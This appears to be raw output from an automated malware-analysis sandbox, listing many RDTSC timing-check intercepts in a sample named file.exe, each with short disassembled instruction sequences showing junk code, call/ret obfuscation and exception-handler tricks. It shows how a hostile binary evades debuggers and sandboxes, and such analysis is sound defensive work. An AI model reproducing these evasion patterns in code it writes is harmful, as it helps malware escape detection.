Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC658 second address: 9CC65C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC65C second address: 9CC662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC662 second address: 9CC667 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC6C3 second address: 9CC6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC6C8 second address: 9CC6CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC6CE second address: 9CC6D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC6D2 second address: 9CC6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e pop ebx 0x0000000f nop 0x00000010 mov edx, dword ptr [ebp+122D2D3Bh] 0x00000016 push 00000000h 0x00000018 mov cx, 977Dh 0x0000001c push BAFBD162h 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC6F8 second address: 9CC6FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC6FD second address: 9CC780 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6511772C8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 45042F1Eh 0x00000011 sub dword ptr [ebp+122D1E02h], esi 0x00000017 mov dword ptr [ebp+122D309Ah], edi 0x0000001d push 00000003h 0x0000001f movsx edx, ax 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F6511772C88h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 0000001Bh 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e mov ecx, 1AAA8E80h 0x00000043 push 00000003h 0x00000045 sub dword ptr [ebp+122D2047h], ecx 0x0000004b call 00007F6511772C89h 0x00000050 jmp 00007F6511772C95h 0x00000055 push eax 0x00000056 jns 00007F6511772C94h 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC780 second address: 9CC784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC784 second address: 9CC792 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9ED5B2 second address: 9ED5B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EBBFC second address: 9EBC21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6511772C86h 0x0000000a popad 0x0000000b jg 00007F6511772C9Ah 0x00000011 jmp 00007F6511772C94h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EBEE7 second address: 9EBF03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA01h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EBF03 second address: 9EBF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC374 second address: 9EC38B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F651112D9F6h 0x00000011 jc 00007F651112D9F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC38B second address: 9EC39B instructions: 0x00000000 rdtsc 0x00000002 je 00007F6511772C86h 0x00000008 jbe 00007F6511772C86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC39B second address: 9EC3A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jbe 00007F651112D9F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC4E9 second address: 9EC4F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007F6511772C86h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9B7F7A second address: 9B7F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F651112D9FCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9B7F8B second address: 9B7F95 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6511772C9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC640 second address: 9EC646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC646 second address: 9EC656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 jbe 00007F6511772C86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC656 second address: 9EC65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC65B second address: 9EC681 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jmp 00007F6511772C96h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC681 second address: 9EC685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EC685 second address: 9EC691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6511772C86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9ECCA6 second address: 9ECCAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9ED115 second address: 9ED11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9ED11B second address: 9ED121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EEB58 second address: 9EEB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6511772C86h 0x0000000a jmp 00007F6511772C8Eh 0x0000000f ja 00007F6511772C86h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9EEB7B second address: 9EEB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9ADD36 second address: 9ADD43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6511772C86h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9F2AFE second address: 9F2B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F651112D9F6h 0x0000000a jno 00007F651112D9F6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9BB5C8 second address: 9BB5CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9F4A11 second address: 9F4A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9F4A15 second address: 9F4A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9F5070 second address: 9F507F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9F507F second address: 9F5085 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9F5085 second address: 9F508B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9F7281 second address: 9F7289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FDA6C second address: 9FDA70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9B499C second address: 9B49B2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F6511772C8Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9B49B2 second address: 9B49B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9B49B8 second address: 9B49BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FD277 second address: 9FD27B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FD63D second address: 9FD65A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6511772C8Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FD7A9 second address: 9FD7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FD8FD second address: 9FD90F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F6511772C86h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9FFF31 second address: 9FFF3B instructions: 0x00000000 rdtsc 0x00000002 js 00007F651112D9FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A00164 second address: A0016A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0016A second address: A0016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0071A second address: A00747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F6511772C86h 0x00000009 jmp 00007F6511772C8Ah 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007F6511772C94h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A00747 second address: A0074C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A00C9F second address: A00CE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F6511772C88h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D1F0Ch], edx 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A00CE4 second address: A00CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A01D49 second address: A01D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A01D4D second address: A01D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A025C5 second address: A025CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A04CAA second address: A04CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F651112D9FAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A04CBF second address: A04CC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0572E second address: A05732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A05732 second address: A05749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jnp 00007F6511772C86h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0614A second address: A061A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D3217h], edi 0x00000012 push 00000000h 0x00000014 mov esi, dword ptr [ebp+122D3137h] 0x0000001a sub dword ptr [ebp+122D3767h], ebx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F651112D9F8h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c push eax 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F651112D9FBh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0A7F2 second address: A0A7FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6511772C86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0A7FC second address: A0A806 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F651112D9F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9AF815 second address: 9AF81B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0BEED second address: A0BEF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F651112D9F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0BEF8 second address: A0BF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F6511772C95h 0x0000000f jbe 00007F6511772C86h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007F6511772C86h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0BF26 second address: A0BF2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0CFD8 second address: A0CFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0CFDF second address: A0D054 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F651112D9FCh 0x00000010 pop edx 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F651112D9F8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c mov ebx, 6DEC6F2Ch 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F651112D9F8h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d push 00000000h 0x0000004f jnc 00007F651112D9FCh 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 push edi 0x00000059 push edi 0x0000005a pop edi 0x0000005b pop edi 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0D054 second address: A0D06A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6511772C8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0D06A second address: A0D06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A08C28 second address: A08C32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6511772C86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0AF58 second address: A0AF88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F651112DA02h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0C1E5 second address: A0C1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F6511772C8Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A08C32 second address: A08C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0C1FE second address: A0C204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0E23B second address: A0E245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0E245 second address: A0E249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0FF7A second address: A0FF7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A0F135 second address: A0F13A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A100F4 second address: A100F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A100F8 second address: A10186 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jne 00007F6511772C90h 0x0000000e nop 0x0000000f jmp 00007F6511772C8Eh 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F6511772C88h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 jl 00007F6511772C8Ch 0x0000003b or dword ptr [ebp+12482BCFh], ebx 0x00000041 mov dword ptr fs:[00000000h], esp 0x00000048 mov ebx, dword ptr [ebp+122D3D11h] 0x0000004e mov eax, dword ptr [ebp+122D0009h] 0x00000054 jo 00007F6511772C89h 0x0000005a mov di, ax 0x0000005d push FFFFFFFFh 0x0000005f mov dword ptr [ebp+122D30CBh], eax 0x00000065 nop 0x00000066 push eax 0x00000067 push edx 0x00000068 jc 00007F6511772C88h 0x0000006e pushad 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A11F2E second address: A11F4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F651112DA04h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A10186 second address: A1018B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A14064 second address: A1408C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F651112DA08h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A1408C second address: A140B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F6511772C86h 0x00000010 jmp 00007F6511772C96h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A146A3 second address: A146D7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F651112D9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d je 00007F651112DA0Fh 0x00000013 jmp 00007F651112DA09h 0x00000018 push eax 0x00000019 push edx 0x0000001a jl 00007F651112D9F6h 0x00000020 rdtsc
